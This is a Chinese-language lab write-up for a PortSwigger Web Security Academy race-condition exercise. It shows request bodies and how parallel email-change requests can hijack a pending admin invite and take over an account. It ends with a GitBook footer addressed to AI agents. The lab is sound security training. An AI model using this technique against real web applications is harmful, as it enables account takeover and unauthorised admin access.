> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/race-conditions/single-endpoint-race-condition.md). # 单端点竞争条件 面向 PortSwigger Web Security Academy 实验室的单端点竞争条件笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。 ### 单端点竞争条件 ### 实验环境 邮箱地址更改功能包含一个 **竞争条件** 这允许你将任意地址与我们的账户关联起来。 一个使用地址的用户 **** 有一个 **待处理的邀请** 成为管理员，但 **尚未创建账户**. / 所以如果有人能够 **转卖这个地址**，它就会自动获取 **管理员权限**. ### 目标 1. 找到一个竞争条件，以获取任意电子邮件地址。 2. 将账户邮箱更改为 ****. 3. 访问 **管理面板**. 4. 删除用户 **carlos**. 提供的凭据： **wiener:peter**/ 访问这些地址的电子邮件客户端 **@exploit-...exploit-server.net**. ### 正常的邮箱更改流程 第一次尝试是将邮箱更改为一个可控地址： * 新地址：/ `wiener@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net`
应用程序响应： > “请点击你邮件中的链接，以确认将邮箱更改为……”
会收到一封带有确认链接的电子邮件，例如：/ `/confirm-email?user=wiener&token=ob0dI7AMlwX2Y2uw` 点击链接后： > “你的邮箱已成功更新”
后台，请求如下： ```bash email=wiener%40exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk ``` ### 无竞争的基线测试 我们发送了多次邮箱更改请求，使用不同的邮箱（test1、test2……test20），每次都单独发送，并且收到的确认信息都与请求的地址相对应。
```bash email=test1@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test2@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test3@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test4@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test5@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test6@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test7@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk email=test8@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk ..... email=test20@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk ```
但当你执行这些相同的请求时 **并行地**，会出现一种意外行为：你有时会收到与正确收件人不匹配的确认。
### 竞争条件分析 观察到的行为表明处理分为两个阶段\*\*： 1. 一个阶段， **准备/写入** 确认电子邮件 2. 一个阶段， **决定哪个地址** 会发送电子邮件 通过并行发送一批请求，我们设法让这两个阶段交叉：一封邮件的内容可以与另一个目标地址关联。 原理：并行发送包含以下内容的混合请求： 一部分为： ```bash email=carlos@ginandjuice.shop&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk ``` 另一部分使用一个可控地址： ```bash email=test@exploit-0a10009b04efd21981a1bafc0102005d.exploit-server.net&csrf=UoUvroZsYvL6IJPN7GKumJSoEuLFdBYk ``` 结果：我们收到一封电子邮件，内容为： > “要确认将你的邮箱更改为 ****，请点击下面的链接”
因此我们得到了 **确认链接** 针对 Carlos 的地址，我们可以将邮箱更改最终确定为 ****.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/web/race-conditions/single-endpoint-race-condition.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.